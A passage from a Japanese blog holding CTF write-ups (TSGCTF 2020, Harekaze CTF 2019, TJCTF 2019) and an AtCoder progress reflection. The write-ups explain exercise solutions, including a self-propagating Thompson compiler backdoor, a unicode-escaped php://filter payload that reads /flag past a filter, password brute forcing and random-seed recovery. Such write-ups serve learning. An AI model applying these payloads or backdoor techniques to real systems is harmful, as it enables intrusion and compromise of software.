数学的な議論を踏まずに観察でモデルを構築しようとしているのが良くないのかもしれないですね……。

これらの推定やモデル案について、少しの提案や意見でもあればお待ちしています。宜しくおねがいします。

TSGCTF 2020 Write-Up

2020年7月11日～7月12日にかけて開催された、TSGCTFのWrite-Upです。

今回はソロチームとして参加し、Sanity CheckとSurveyを除いてはMiscの2問のみを通し、512点を獲得して38位となりました。

ここでは、自分の通した問題についての解法を記したいと思います。

 

Beginner's Misc

eval(b64encode(input().encode('UTF_8')))==math.pi

となるようなinput()を作れ、という問題。

要するに、eval(s)==math.piで、b64decode(s)がUTF_8として正当であるようなsを作れば良いです。 

とりあえず、UTF_8の形式を見てみます。

Unicode code points   Range    Encoding  Binary value
-------------------  --------  --------------------------
 U+000000-U+00007f   0xxxxxxx  0xxxxxxx

 U+000080-U+0007ff   110yyyxx  00000yyy xxxxxxxx
                     10xxxxxx

 U+000800-U+00ffff   1110yyyy  yyyyyyyy xxxxxxxx
                     10yyyyxx
                     10xxxxxx

 U+010000-U+10ffff   11110zzz  000zzzzz yyyyyyyy xxxxxxxx
                     10zzyyyy
                     10yyyyxx
                     10xxxxxx
from: https://stackoverflow.com/questions/9356169/utf-8-continuation-bytes

この表より、上位3bitが110である場合は次に上位2bitが10のContinuation byteが続く、1110である場合は次の2つにContinuation bytesが続く、11110の場合は… と言ったことが分かります。

また、base64の4文字をデコードした際は3byteになるため、この3byteを一塊として考えることにします。

問題の趣旨に立ち戻ると`math.pi`と等価になるような小数を作れ、という問題でした。ただ、pythonの浮動小数点数のイコールは少々誤差があっても許容されるので、base64に存在する文字のうち整数と除算命令('/')、加算命令('+')を使って近似することを考えます。

ここで、これらの文字について、base64の4文字の塊のうち何文字目に使用した時にどの種類のbyte(0xxxxxx or 10xxxxxx or 110xxxxx or...)を生成するか、という表を作成しました。

 

後は手作業で、ひたすら近づくような解を生成しました。正直全探索したほうがよかった。

できた解はこれで、

>> 379/140+1540274047210746040/3545344156695621040+0o00

3.141592653589793

>> math.pi

3.141592653589793

pythonで実行した際に等価となります。

最後の+0o00はpaddingが必要になってしまったために、適当に表を見て捻り出しました。

 

Self Host

未知の言語で書かれた言語自身のコンパイラが与えられるので、そのコンパイラのバイナリを作ってねという問題。そして、更にそのバイナリによってコンパイルしたコンパイラのバイナリ、によってコンパイルされたコンパイラのバイナリによってflagが入ったソースがコンパイルされるので、そのソースのコンパイル結果をflagを吐くようにしてねって話。

書いていて意味が分からなくなったんですが、以下の記事のhackと同じことを未知の言語でやってねって話です。

0x19f.hatenablog.com

で、とりあえず最初に未知の言語をコンパイルてきるようにしないことには話が始まりません。幸いC-likeな構文ではあったので、自分が書きなれているC#に手作業で直すことにしました。人力トランスパイラと申す。この言語は整数型とリスト型しかなく、文字列も整数のリストのシンタックスシュガーといった形になっています。また、動的型付けな言語であることも予想がついたので、C#の言語機能にあるdynamic型で動的型付けを実現します。1000行ほどにみっちりと出たエラーを気合で2時間かけてつぶし、とりあえずコンパイルが通るようなソースを完成させました。x.cs · GitHub

次に、Thompson hackを実装します。

hackする対象は関数をコンパイルする関数とします。その関数"compile_function"には、関数名と引数リスト、関数の中身の構文木が与えられます。アセンブリを吐かせるのはコード的にめんどくさいので、構文木にコードを追加することにします。

要件としては、「compile_function関数が来たら、書き換えた部分の構文木をそのまま追加し、1token目がflag変数である関数が来たらwrite(flag);の構文木を付け足す」が満たせれば嬉しいです。また、構文木をそのまま埋め込むのもめんどくさいのでコンパイラにあるparse関数を借りさせてもらうことにします。このparse関数は関数(とグローバル変数)しかパースできないので、一旦関数化してパースし、その中身から構文木を引き抜いてくることにします。

ここまでを踏まえて、そのコードを考えるとこうなります。(tokenize関数はないですが、tokenizeした結果をそのまま書くと冗長になってつらいので便宜的にこうしています。)

if (fn == "compile_function") { body = parse(y)[0][3] + body; }
if (body[0][1] == "flag") { body = body + parse(tokenize("f(){write(flag);}"))[0][3]; }

そして、一行目のparseに突っ込まれている変数'y'に、付け足した全体のコード(が入っている関数)が入っていると嬉しいです。なのでそうなるようなQuineを書きます。

とりあえず、このような構造になるようにしたいです。

y = /* ここ以下の字句解析結果 */;
x = /* yのリストを字句解析した結果になるようにがんばる */;
y = tokenize("f(){y = ") + x + y + tokenize("}") 
/* これでyには追加したコードの字句解析結果が入ってる */

このようになるように頑張ると、

y = /* ここ以下の字句解析結果 */; 
x = ["[", "\"" + y[0] + "\""];
i = 1;
while (i < len(y)) { 
  x = x + [","] + ["\"" + y[i] + "\""]; i = i + 1;
}
x = x + tokenize("];") /* xにはリストyの字句解析結果が入っている */
y = tokenize("f(){y = ") + x + y + tokenize("}");

となります。

 最後に、この言語にはエスケープがないため、全ての文字列を別の形式で表すようにします。 先程も述べた通り、この言語では文字列は整数リストのシンタックスシュガーにすぎないので、例えば"flag"は[102, 108, 97, 103]といった形で表せます。こうすることで、yに最初に入れておく字句解析結果にダブルクオーテーションが出てこなくなって嬉しいです。

このようにした結果がこうです。

gist.github.com

あとは、これを先程の移植したコンパイラでコンパイルすれば、Thompson hackが仕込まれたアセンブリを得ることができます。

 おわりに

Self Hostに半日かかってしまい、自分のプログラミング能力の微妙さに悲しくなってました。もう少し早く解いて他の問題にも手をつけられるようになりたかったです。

 

AtCoderで黄色になりました。

これはなに

色ポエムです。ポエムなので大抵が自分語りです。許してください。「黄色になるまでに何をしたのか」を純粋に読みたい場合は、記事を最後まで読む必要はありません。(おまけはおまけなので)

はじめに

2019/06/29に行われたABC132にて、AtCoderで黄色になりました。苦節20ヶ月、とりあえず1つのマイルストーンに到達することができたことを嬉しく思っています。

 

 

黄色になるまでにしたこと

注意 : 途中まで書いて気がついたのですが、「青下位から青中位までにしたこと」の記憶が完全に飛んでいるため、「青中位から黄色になるまでにしたこと」になっている気がします。ただ、記したことは一般論のようなものなので、概ね影響がないと思います。

問題を解く

言うまでもなく、問題を解きました。自分にとって最も効果的だった精進は、「自分がコンテストに出た時に通せたら嬉しい範囲の問題」を解くことです。レート1800台の時は700-800点程度でしょうか。以下のツイートの青くらいの範囲を二日に一問程度解ければ理想だと思います。

 

これにより実力は上がっている実感は実際のところありませんでしたが、明らかに成績は向上しています。自分の考察スタイルは論理的に詰めるのではなく、考察をとにかく手当たり次第に行って考察を進めるスタイルです。解法ガチャとか呼ばれてますね。ガチャの当たり率が上がった気がしました*1。

以下のツイートは黄色になった時点での自分の精進量です。

 

精進グラフです。

f:id:keymoon:20190630222735p:plain

注意ですが、この数を真に受けないでください。自分はJOIの低難易度やABC-A/B等を全て埋めているため、相当「盛られて」います。(2018年冒頭のそれが盛った形跡ですね。)

また、自分の場合は考えることで導き出した答えがより身に入るため、解説ACは行いませんでした。その代わり、テクニックに貪欲になるよう心がけました。

面白い性質や問題を見た際、「その性質がどこまで一般的に通用するか?」ということを考えるクセを付けると良いと思います。これは「素振り典型」とか勝手に呼んでいるものとも近く、「今回の問題はこういう性質があったからこういう方法が取れたんだな!」とか思えると良いです。また、同じくアルゴリズムはできる限り抽象化して理解することをお勧めします。「累積和を二本合わせるテクはXORでも使える!GCDでも!」と個別に理解するより、「累積和を二本合わせるテクは順序を入れ替えても結果が変わらない演算*2全てに使える!」と理解したほうが効率は良いです。

勉強したアルゴリズムは例題を解くだけでなく、ライブラリを作りました。自分は比較的マイナー言語であるC#で競技プログラミングをしているためライブラリは自作せざるを得なかったですが、ライブラリを書くことは確実に理解に繋がります。また、上記の抽象的な性質を捉えることの助けにもなります。

また、面白そうなアルゴリズムの記事を見つけたら貪欲に読み、理解し、ライブラリを生やしましょう。リツイートして #後で読む とするだけに留まりがちではないですか?(自戒)

メンタリティを意識する

コンテスト中の精神管理は、コンテストの成績に直結すると言っても良いであろう事項です。しかし、あまり言及を見かけません。みなさんも以下のような経験はありませんか?

  • いつもならば解けなさそうな高難易度の解が見え、緊張してしまったため自明な嘘だと見抜けなかった。
  • 残り5分で実装を終えるも緊張してデバッグが不可能になり、自明なバグを見落とす。
  • 自明であろう問題でWAを出してしまい、その後の問題が読めなくなる。
  • 順位表を見て、自分の順位の低さと推定パフォーマンスの色に動揺してしまう。

自分は全てありました。そして、これを克服できればパフォーマンスが上がることも明らかでした。

ここで、自分の行った対処を紹介します。

まず、通常時から成功体験を積むことです。高難度を何問か通せた経験があれば、コンテスト中もある程度落ち着けるようになります。また、WA判定を受けた際、できる限り平常心を保つよう心がけました。練習でもWAに動揺していたら本番でも動揺するのは当たり前です。さらに、普段の精進中にもコンテスト中に行う思考を心がけることも大切です。動揺するとどうしても頭が真っ白になり、何をするべきかがわからなくなってしまいます。普段からやるべきことを心がけていれば、自然と本番でもできるようになるものです。

自分が最もコンテスト中のメンタル管理に成功したと思った事例は、終了40分前から考え続けて10分前に考察が終わり、3分前に提出したものがTLE判定を受けた際の対処に成功したものです(画像)。これは成功体験となり、自分のメンタルの強さに対する大きな自信となりました。

f:id:keymoon:20190630233103p:plain

また、コンテスト外での精神状態も重要です。

highestを更新しない期間が(たった4ヶ月程ですが)ありました。この時は問題をコンテスト外で解いていなかった上に競プロにフォーカスしていなかったので当たり前ではありますが、コンテストに出る習慣を失わなかったのは結果として良かったと思います。継続することは衰えを減速させることが可能です。

精進に気持ちを向かわせることも大事です。ただし、これは自分があまり上手くないのでなんとも言えないです。自分の場合は「精進したい気持ちになるまで待つ」ことを心がけました。焦ると焦りが先行していいことがない気がします。寝ようと無駄に焦っておふとんの中で眠れなくなるアレと同じですね。

それと、人のやり方/言説に惑わされないようにしました。人のやり方は参考に留めるべきです。もちろんこの記事も。using namespace std;をやめるかは自分で判断することですし、解法ガチャも無証明もOEISエスパーも、自分の判断で行うべきことです。やるかを決定する過程で人の意見は当然参考にするべきですが、無条件に意見を信奉して自分を見失うことは避けた方が良いです。自分の体に合った方法を見つけましょう。

最後に

まだまだ書きたいことがあった気がしましたが、多分これくらいで十分な気がします。コンテストで使った知識を載せて終わりにしたいと思います。思いつく限り列挙しているため、抜けは確実にあります。許してください。

使った知識

 

おまけ1:茶～青色になるまで

色ポエムをそもそも今まで書いたことがないということで、青になるまでの分を書いてみました。

最初は本編に入っていましたが、あまりにも自分語りが過ぎるので分離しました。個人的にはこれよりおまけ2を見てほしいです。

競技プログラミングを始めるまで

はるか昔、Objective-CでiOSアプリケーション開発の触りをやりました。思えばあの頃、塾の課題を全探索してサボっていた僕は本質的に競技プログラミングがやりたかったのかもしれません。当然競技プログラミングなんて知らない僕は次第に飽き、フェードアウトしていきました。

プログラミングを再開したのは2016年の12月です。その当時ハマっていた筐体音ゲーを家でプレイしたいという欲求からUnityに手を出します。結果としてプレイアブルなものが完成しました。ここでプログラミングの楽しさを知り、NAudioを弄ってサンプル単位でループ再生が可能な音楽プレイヤーを作ったりTwitterのbotを宅鯖で運用するなどしてしました。

2017年10月初頭、以下のツイートを見かけます。

このツイートを見て「競プロ」という概念を知りました。

2017年11月初頭、文化祭が終わって労働から開放された僕は暇になります。AtCoderでC#も使えることを知った僕は、競技プログラミングでもを始めようかとぼんやり思っていました。

さて、僕はその後開催されたABC077に出損ねます。これは、かの有名な「Small Multiple」による大虐殺回でした。これに出ていたら恐らく競プロを継続していないでしょう。運命に感謝。

茶色になるまで

f:id:keymoon:20190630193506p:plain

紀貫之みたいなノリでABC078に参加しました。

このコンテストはDの入力受け取りのみにしかfor文を要求されないようなコンテストで、なんと初回参加で17位を取ることができました。

f:id:keymoon:20190630200900p:plain

 完全に味を占めた僕は、こうして茶色に、競技プログラマになりました。

  • 使ったテクニック/知識 : 入出力、for文

緑色になるまで

あまり覚えていません。コンテストに継続的に参加し、無事緑まで到達することができました。

f:id:keymoon:20190630203612p:plain

水色になるまで

ここで、僕は大きな失敗を経験します。JOI予選落ちです。バチャをしていて勝率が80%程度だったため、高を括っていたら無事落ちました。残念。

ABCと間違えてARCに出たショックからTwitterアカウントを動かし始めた*3僕は、2017年最後のABCで水色になることができました。

  • 使ったテクニック/知識 : DP、シミュレーション、埋め込み*4

青色になるまで

水色になった僕は蟻本などを読み、本格的にアルゴリズムの勉強を始めました。しかし、精力的にやろうとしなかったためコンテスト3回分ほどの停滞期(?)を迎えてしまいます。

学年が上がるまでに色を変えることが目標だった僕は非常に焦り、少しずつではありますが蟻本を読み進めました。AGC→構築回→速解きと成功を重ね、恐らくこの時点での実力であった青下位に急激に突入しました。この後、その影響で青下位での停滞が続くことになります。

  • 使ったテクニック/知識 : エラトステネスの篩、imos法、UnionFind、next_permutation、テストケース特定

おまけ2:タイムカプセルのはなし

これはなに

 青になった週の僕が「ブログに書くネタにどうせ困ってそうだから」みたいな理由でタイムカプセルを遺してくれていました。生意気ですね。ありがとうございます。

正直すっかり忘れていて、さて記事を書くか!となった時に電撃が走ったかのように思い出しました。思い出した時は本当に感情が爆発しそうになりました。月並みな表現だとエモいって奴です(語彙力)。

読んでいる時に一段落ずつコメントをつけていたら、ちょうど対談のような感じになりました。ということで、対談企画と題して放流したいと思います。現代の社会通念上不適切な表現もありますが、改変するのも何かが違うと思ったのでそのままにしました。

ただ、書いていることは上述の通り記事のネタになっているため、内容の重複も多いです。要するに出涸らしですね。

本編

とりあえず、黄色おめでとうございます。青までは競プロをしていればなれて*5、黄色が実力が保証されるラインだと感じています。

ありがとうございます、本当に。それにしても、「青までは誰でもなれて」って凄いこと言ってますね。全くそんなことはないのに。実力保証されちゃった。わーい。

 

黄色が凄い人なのはどう考えても明らかなので、もし上を見て卑屈になっているなら更に上を見ることを一旦やめ、下を見てみてください。昔の自分がちっぽけに見えることでしょう。

すごい人だって すごい人だってさ。嬉しいです。レートの価値とか云々言われてますけど、あなたから見れば今でも十分凄いですよね。今の僕が橙を見るのと同じように。

まあ卑屈にはなってないですね。ということはあなたが卑屈になってるのかな?もっと素直に喜べばいいのに。でも、あなたからほぼ成長していないみたいな感覚はありました。そんなあなたから見ても十分黄色は凄いんですね。面白いです。成長できたかな。

 

グラフはどんな形でしょうか。ギリギリ掠った?調子が良くてブチ抜いた?青の頃より、更に停滞へのプレッシャーは強くなっているはずです。負けないように、そして「レートを意識しすぎるとつまらなくなる」ということを忘れないでほしいです。

 グラフね、ギリギリ掠りました。本当に2050適正って感じで、漸近していく感じで近づいていきました。これからが大変そうです。

レートを意識しているとつまらなくなる、まあそうかもしれないですね。少し前の停滞期は実際辛かったです。でも不思議と停滞に対する恐怖はないですね。一時期の停滞を克服したからかもしれません。停滞については後述します。

 

ところで、どのような精進を積めば黄になれましたか?今の僕は解説を読む癖もないですし、問題も余り解かなくなってしまいました。600点ですら通せるか怪しく、平常時なら400すら億劫で通せないことが多いです。

 精進、むちゃくちゃありきたりな質問ですねそれ。そう思ったのだけ覚えてますよ。「ありきたりな質問しか出てこない」って。
600ですら通せるか怪しく400ですら億劫、実は今でも変わってないんですよね。やっぱ成長してないじゃないか!(というか青なりたてのあなたが「600を通せるか怪しく」って、それができたら黄色ですから。目標高すぎ。)
でも、(体感は別として)実際600は安定して通せてます。確実に成長はしたんだろうなあ。
「どのような精進を積めばいいか」については次の質問が関連しそうなので、一緒に答えてしまいますね。

 

通常時にやる気を出すコツはなんですか。春への思いでしょうか?それとも、黄色に対する思い?

通常時にやる気を出すコツ、僕がうまく行ったのは、「やる気を出すというより「やる気になるまで待つ」」って奴です(眠い時に布団に潜って寝ようと努力するより、眠さを待ちつつ読書をするのと同じですね)。でもすぐやる気が出したいって?その方法は僕もまだ分からないです。ごめんなさい。
僕がやる気を出すきっかけになった話をしましょうか。これが面白くて、「春への思い」ではないんです。あなたは将来、残念ながら春合宿に行けません。怠惰なので精進をしようとせず、本番に自明貪欲を見落とします。それが悔しいのかなんなのかはわからないんですが、何故かやる気が出てきました。今でもそれは継続しています。
で、どんな精進を積んだかですよね。個人的にはこれといったものはありません。

問題を解く際、解説ACはしなくて良いです。(だってあなたは考えたものの方が頭に残るでしょう?)なので、自分が解けるか解けないかギリギリ程度の問題を考えるようにしましょう。

それと同時にやらなければいけないのは、新しいテクニックを身につけるようにすることです。これについてはアルゴリズムの話とかと繋がりますね。後述します。

 

アルゴリズムはどのようにして学びましたか?僕は構築等の地頭ゲーは得意ですよね。しかし、アルゴリズムができなければ黄には行かないはずです。

正直なところ、あなたがその後勉強して必要になったアルゴリズムはありません*6。強いて言うならセグ木で数回殴りましたが。ただ、アルゴリズム/データ構造の勉強は楽しいですよ。実際のところ。それと、恐らく橙を目指すに当たって本格的に必要になってきます。
それよりも大事なのは文字になっていない典型というか、あれです、素振り典型です。直感力とも言えます。
僕は問題を解いたり、何らかの面白いものを見たりした時に「どういう状況であればこのテクニックが使えるか」と一般化することを心がけました。累積和は結合法則云々が成立するなら使える、みたいなやつです。
ああそう、構築は割と出るようになって嬉しいですよ。ちゃんと全て通せています。それにしてもあなた、自分の地頭に謎の自信がありますね?僕はもうないです。

 

必ず青の間に停滞期は訪れている筈です。その時に、どのようにして乗り切りましたか?落ち込んだのはそうですが、気持ちを切り替えることはできましたか?

停滞期ですか…ありましたねぇ。というかJOI後の数ヶ月以外は全てが停滞期でした。
Highestを更新できない期間がとても長いのは本当に心がしんどくなります。ただ、そういう時でもコンテストに出続けました。まだコンテストは楽しいと思えていたので。継続は大事。精進もせずに怠惰に出るのは決して悪いことではありません。いつか成功し、やる気が戻るきっかけとなったりします。

 

勉強など他のするべきこととの両立はできたでしょうか。もしできてないなら、流石にマズいので頑張ってください…

お前お前お前お前～! 言うじゃないですか。分かってるじゃないですか。そうなんですよ、できてないんですよ。マジヤバい。
いや今日でTwitter控えるんで。マジで。明日から本気出ーす。

 

最後になりますが、とりあえず大学卒業までに橙になれると嬉しいですね。応援しています。

これ本気で思ってますか? 去年*7中に黄色とかあなたが言っていたのを覚えているので、その目標が達成できなかったときの精神安定の為に書いたとか。
深読みしすぎか。だとすると、この目標はぶれてないですね。大学卒業までに橙。方針通りに進めているのかもしれません。
頑張ります。まずは受験の方をですけどね。

最後に

過去と現在の深夜ポエムを晒してしまいました…(絶対後悔する。)

タイムカプセル、いいものですね。普段は客観視することができない自分を客観視することができました。もう少し話を聞きたかったな、って思ったりしました。

*1:ちなみにくじ引きサイクルというゲームはガチャの当たり率を上げて当たりを引くことが目標のゲームです。時間が溶けるので絶対にやるべきではありません。自分の最終リザルトは黃229個です。

*2:これを「結合的な演算」または「結合法則が成立する」と呼びます。セグ木に載るやつですね!

*3:当該ツイート(リンク)、しかもパフォ1955の大成功でした。なに凹んでるんだ。

*4:素数リストをネットから落としてきて埋め込み、エラトステネスの篩を使わずに通しました。

*5:これが不適切な表現です。青になりたてで卑屈になってるだけです。全くそんなことはないと思います。許してください。

*6:これは嘘で、BinaryHeapの実装(C#にはないため)、行列累乗が役立ちました

*7:青になった年と同じ年

Harekaze CTF 2019 Write-Up

概要

2019年5月18日～5月19日にかけて開催された、Harekaze CTFのWrite-Upです。

所属しているチーム「生活習慣崩壊ズ」は7問通して910点を獲得し、28位となりました。そのうち、自分は4(+1)問通し、500(+100)点を獲得しました。

ここでは、自分の通した問題についての解法を記したいと思います。

ONCE UPON A TIME(Crypto 100pts)

鍵となる行列keyがあり、フラグを5×5行列に整形した行列flagについてflag×key又はkey×flagが与えられる(これをcryptoとする)。この演算は251(素数)で割った剰余環上で行われる。

素数mod上での積には逆元があるので、当然逆行列を考えることもできる。 逆行列の求め方はいろいろあるが、余因子行列の各要素を行列式で割る求め方が最も良いと思う(逆元を適用させやすいため。)

嬉しいことに、keyとなる行列には逆行列が存在した。これをkey^-1とすると、crypto×(key^-1)又は(key^-1)×cryptoのどちらかがflagとなることがわかる。これを計算すると、求めたいflagが出てくる。

Encode & Encode(Web 100pts)

  JSON形式で指定したファイルパスからfile_get_contentsで読み込んだファイルがクライアントに渡される。file_get_contentsにパス文字列には以下のようなバリデーションが掛けられていて、さらにクライアントにファイルを渡す前に正規表現でフラグに該当する部分が削除されるようになっている。フラグは/flagにあるので、ここをなんとかして読み込めたら勝ち。

f:id:keymoon:20190519144301p:plain

まず、/flagを読み込むことを考える。JSON形式の文字列を一度パーサに通しているため、おそらく何らかのエスケープをしておいてもエスケープを戻してくれるだろうと推測する。いろいろと実験をすると、unicodeエスケープ(\u0000)を戻してくれそうだと分かる。よって、{page:"\u002f\u0066\u006c\u0061\u0067"}のようなクエリを投げる。すると、{"content":"HarekazeCTF{<censored>}"}と検閲済みのflagが帰ってくる。元の情報を損なわない形で整形なり切り取りなりをして正規表現/HarekazeCTF\{.*}\/をすり抜けるようにすれば良いと分かる。

PHPにはフィルタと呼ばれる機能があり、php://filter/convert.base64-encode/resource=[resource]とするとリソースをbase64エンコードして返してくれる。これを使い、php://filter/convert.base64-encode/resource=/flagをunicodeエスケープしたものを投げつけて終わり。

[a-z().](Misc 200pts)

JSFuck等の縛りJS系問題。制約は問題名の通りで、英小文字と()、ピリオドのみ使用可能。

この制約の下、(数字の)1337と評価されるJavaScriptを200字以内で書けたら勝ち。

まず使えるオブジェクトを列挙する。JavaScriptは悪魔的な言語なので、起点となるオブジェクトがあれば大抵なんでもできる(要出典)。よって、起点となるオブジェクトを探す。グローバルが空になっているため、通常の環境のようにいろいろと使えるわけではない。調査の結果、eval,console,escape,unescapeあたりが使えそうだと分かった。

1337を生成する方針として、文字列としての"1337"から生成することとする。これはNumberのコンストラクタに入れることで実現でき、コンストラクタはその型のオブジェクトから取得することができるからである。

次に、文字列を生成する方法を考える。流石に1337という文字列が落ちている筈もないため、一文字ずつ生成してから空文字列に対して.concatをしていくアプローチを取りたい。

空文字列はs.substr(s.length)とすることによって取得できるため、どこかにある文字列を使えば良い。これには、eval.nameが最も短く済みそうである。よって、空文字列はeval.name.substr(eval.name.length)として取得できる。

次に、concatする各"1","3","7"について探す。JavaScriptはキャストを結構緩めにやってくれるので、これらはStringでなくNumberでも良い。様々な調査の結果、1はeval.length、3はconsole.log.name.length、7はconsole.context.name.lengthを使うこととした。 最後に、今までの結果を纏めてあげる。

eval.length.constructor(eval.name.substr(eval.name.length).concat(eval.length).concat(console.log.name.length).concat(console.log.name.length).concat(console.context.name.length))

これは180byteなので、制約に収まる。

Avatar Uploader 1(Misc 100pts)

finfo_fileがpngかつgetimagesizeのimagetypeがpngでないようなものを出せば良い。 finfo_fileはシグネチャのみを判定しているため、シグネチャだけ合っていてimagetypeがバグるような「画像」を突っ込めば良い。 具体的には、以下のようなバイナリを突っ込んだ。

f:id:keymoon:20190519032438p:plain

Twenty-five

ppencodeのコードが換字式暗号でスクランブルされた状態で渡されるので、デコードしなさいという問題。換字式暗号パートの本質部分は自分ではなく漁師が片付けたが、なぜか実行しても上手く実行されなかった。

ということでppencodeに掛けた状態のものをデコードする作業をすることになった。まず、ppencodeのエンコーダを探してエンコード方法を確認する。少し探すと、

shinh.skr.jp

ここによって実行されていることがわかった。ソースを読む。すると、"$_="";v112.114.105.110.116.32.49"といったソースに整形されるような式を評価し、もう一度評価することによって実行を実現しているようだ。

f:id:keymoon:20190519054803p:plain

置き換え部分のロジックを読むと、ピリオドの部分と数字の部分が交互に出てきていることが分かる。数字は個別に置き換わっているようなため、置き換えている配列を確認する。すると、綺麗に文字数が1ずつ増えていることがわかる。

f:id:keymoon:20190519054305p:plain

数字と何文字差があるかは実行時の乱数依存だが、コードに必ずといってもいいほど含まれる空白はコードポイントが32で、これは通常のコードに含まれる文字のうち最小であることから差分が推測できる。

このようにしてコードを復元すると、

my $flag="ViZGUiyGEON{Gq.zeUeQGtei.FZd/zeUe/NZGToGqvR_iqipRheh}";$flag=~y/raEKcNnVMSwJgCbLAfmOuIsBWliXvtGxdHekUpjqFQTZhPoDzYRy ouvqriklpzawthxgfnbjcmdsye/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/;print $flag;

となる。これを実行し、フラグHarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}を得た。

感想

今回はそこまで真面目に参加できなかったが、様々な問題を解けてよかった。特に、縛りJSの問題は前から挑んでみたいと思っていたためとても面白かった。相変わらずだが、binary方面に全く手を出せないのが悲しいのでそこの力もつけていきたいと思った。

TJCTF2019 Write-Up

概要

2019年4月6日～4月10日にかけて開催された、TJCTFのWrite-Upです。

所属しているチーム「生活習慣崩壊ズ」は26問通して1245点を獲得し、11位となりました。そのうち、自分は16問通し、700点を獲得しました。

ここでは、自分の通した問題についての解法を記したいと思います。

 

Blurry(Web 5pts)

f:id:keymoon:20190410145908p:plain

はい
f:id:keymoon:20190410145846p:plain

Touch Base(Crypto 5pts)

Decode this string for an easy flag!

Encoded: dGpjdGZ7ajJzdF9zMG0zX2I0c2U2NH0=

Base64ですね。

MC Woes(Forensics 5pts)

マインクラフトのセーブデータが落ちてきます。セーブデータエディタで色々覗いていると、壊れていて開けないファイルがあることがわかります。バイナリエディタで見てあげると、Flagが下の方に書かれていることがわかりました。

Sportsmanship(Crypto 10pts)

It is simply this: do not tire, never lose interest, never grow indifferent—lose your invaluable curiosity and you let yourself die. It's as simple as that.” “I'm a liar and a cheat and a coward, but I will never, ever, let a friend down. Unless of course not letting them down requires honesty, fair play, or bravery.

ciphertext: ROEFICFEENEBZDLFPY

key: UNPROBLEMATICDFGHKQSVWXYZ

 fair playが太字になっています fair play cipherとかで検索をすると、Playfair cipherなるものを見つけられます。デコーダにブチ込むと平文が出てきました。

Guess My Hashword (Crypto 10pts)

I bet you'll never guess my password!

I hashed tjctf{[word]} - my word has a captial letter, two lowercase letters, a digit, and an underscore. ex: hash('tjctf{o_0Bo}') or hash('tjctf{Aaa0_}')

Here's the md5 hash: 31f40dc5308fa2a311d2e2ba8955df6c

 探索空間が狭そうなので、ブルートフォースをすれば良さそうです。

Corsair(Forensics 5pts)

f:id:keymoon:20190410150916j:plain

ぐっと睨むと左上の方に薄く黄色いエリアがあることが何となく分かって、フラグが見えます

色調補正をぐりぐりすると見えるようになりました。

f:id:keymoon:20190410151236p:plain

BC Calc(Forensics 80pts)

ドキュメントファイルが落ちてきます。

f:id:keymoon:20190410151549p:plain

閉じ括弧や開き括弧の存在、TJCTFという文字を構成できることから恐らくこれを何らかの順序で並び替えることでフラグになるんだろうなと予想できます。最初は

イメージを置いた順(名前)かと思ったのですが、どうやら違うようです。

f:id:keymoon:20190410151736p:plain

少し考えると、画像の整列順(一番上に移動みたいなやつ)がそれっぽいかもしれないとわかります。

すべての画像を同じ場所に重ね、上から取って並べていくとフラグが出てきました。

SOS(Forensics 70pts)

Help! I swiped this off some extraterrestrial musician's laptop, but I think I'm getting trolled. I tried to intercept their communications, but their frequency is just too high. There's something wrong, but I just can't put my ear on it...

高周波に何かありそうと書かれていたため、高周波を見ます。サンプリングレートが44100hzのものは最高周波数が22050くらいになるので、そこらへんをMaxに表示させてあげます。

そうすると、見事に何かありました。

f:id:keymoon:20190410152353p:plain

そこを拡大表示するとモールス信号っぽいみたいなことが分かるため、手で符号に起こしました。

それをデコードするといい感じの文が出てきてくれて、

f:id:keymoon:20190410152729p:plain

flag部分がflagです。

余談

システムの不具合で正答が判定されず、更に一度判定されたflagはチェッカーに掛けられないらしいのでいつまで経っても合いませんでした。幸い、tjctf{}の外の部分は判定機に掛けられない仕様のお陰で tjctf{}: と余計な物を後ろにつけたりして回避できました。

f:id:keymoon:20190410153125p:plain

 Sight at Last(Misc 100pts)

nc p1.tjctf.org 8005 にアクセスすると、

To get the flag, solve a hundred captchas in 500 seconds!
Find the minimum distance between the centers of two circles to continue:
[base64] 

 と言われます。base64をデコードすると(シグネチャより)画像っぽいことが分かるので、画像として保存をするとこんな画像が出てきます。

f:id:keymoon:20190410154217p:plain

「円の中心の最小距離を求めよ」の意味が分かったので、ソルバを書きます。全ての黒の連結成分を検知し、重心を求めて全探索みたいな方針でいきました。

以下ソースコードです(相当汚いですけど…):

 

gist.github.com

Journey(Misc 20pts)

 ncで繋いで返答をオウム返ししていくだけなのですが、正答に辿り着くまでは6万ステップほど掛かってしまって到底タイムアウトまでには間に合いませんでした。

漁師が途中の返答をもう一度行うとその状態までスキップできることを見つけたので、コネクションが切れたら繋ぎ直してリストアするようにコードを書き直して行けました。

Moar Horse 2(Web 70pts)

f:id:keymoon:20190410154859p:plain

BACKWARD FORWARDのどちらをクリックしても同じデザインのページに行き着きます。URLは違うっぽいので、それのみが別のページであるということを示してくれています。

とりあえず探索がしたくなったので雑にBFSを打ち、1時間くらい待って深さ14、探索回数12000回くらいまで潜ったところで見つかりました。流石に嘘解法を疑いました…

gist.github.com

Rockstar Certified(Misc 50pts)

Rockstarとかいう謎言語のソースと出力が落ちてくるので、入力を見つけなさいという問題。インターネット上に落ちているトランスパイラを拾ってきてPythonにトランスパイルして読めるようにした後、解空間が小さそうだなみたいなことがわかったので入力を全探索しました。

Mind Blown(Forensics 30pts)

f:id:keymoon:20190410160220p:plain

Exifが入れ子になってそうだなあみたいな感想を持ちました。一番内側の部分を取ってあげるとフラグの画像が出てきました。

All the Zips(Forensics 20pts)

zipが140個くらいあり、その中のどれかに入っているflag.txtがflagでした。

ネット上にある辞書を落としてきて、1時間位辞書攻撃をさせてると正解のzipを解凍してくれました。

Security through Ergodicity(Forensics 120pts)

あるチャットアプリのサーバー実装とクライアントでのpcapが落ちてきます。

サーバー実装を読んでいると、なんとRandomを一秒刻みのUnixTimeで初期化しています(これマジ?)

クライアントのpcapを呼んでいると当然接続先が分かるので、そこにアクセスするとクライアントサイドの実装も取得することができました。(当然サーバー側の実装をデコードするようなものだったのですが、一から書くのはめんどくさかったのでありがたいです。)

クライアントの実装を改造し、UnixTimeを全探索してRandomのseedの特定を試みるコードを作成し、通信が行われた時のseedを特定しました。

httpで通信していたため全てのメッセージは残されていたので、当時の通信を(手作業で)復元し、チャットの履歴を読むことができました。

Moar Horse 3(Web 100pts)

(一部の文字はエスケープされるが)任意のCSSをHTMLに埋め込めるというもの。

